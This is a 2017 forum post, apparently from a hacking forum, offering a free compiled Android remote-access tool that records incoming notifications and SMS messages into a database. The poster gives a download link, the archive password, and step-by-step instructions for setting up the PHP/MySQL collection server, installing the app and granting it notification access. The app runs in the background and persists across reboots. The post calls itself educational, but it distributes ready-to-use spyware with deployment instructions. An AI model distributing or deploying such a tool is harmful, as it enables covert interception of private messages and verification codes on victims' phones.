Thread: [SMS and Notifications Listener rat \(free and compiled\)](#)

**cephregada** - October 4, 2017, 12:51 pm

Hello guys, i posted a couple of threads ago a source code about a notifications rat for android, thought of compiling it and adding an SMS listener in it

It will log both received notifications and sms inside a database.

Is is not protected nor secure communications, so its for everyone's use to take and decompile

It will run in background and will start at boot but i didn't hide the app

It only connects to a fixed server that is "http://192.168.0.12/" on your local area connection because it's only for educational purpose and not intended as a tool

How to Use :

(Step 1)

Download the necessary files from <https://ufile.io/crijl>

(Step 2)

Inside the downloaded rar, you will find 4 files; 2 php , 1 sql and one apk

(Step 3)

Create a database in your mysql called "android" (MySql)

(Step 4)

Run the sql file in the db to create two tables, notifications and sms

(Step 5)

Put both of the php in the root of your webserver so they point to:

a- <http://192.168.0.12/nn.php>

b- <http://192.168.0.12/nm.php>

(Step 6)

Edit both of the php files to replace your database login

(Step 7)

After you install the apk, there is a single button that says "Notifications", press it and it will take you to the notification access page to enable the application (To read incoming notifications)

The old thread where i posted the source code (Without the sms listener) is here :

<https://hackforums.net/showthread.php?tid=5729934>

The password of the downloaded rar is : riverstone

It has been tested from api 19 till 23 should work on above 23 as well
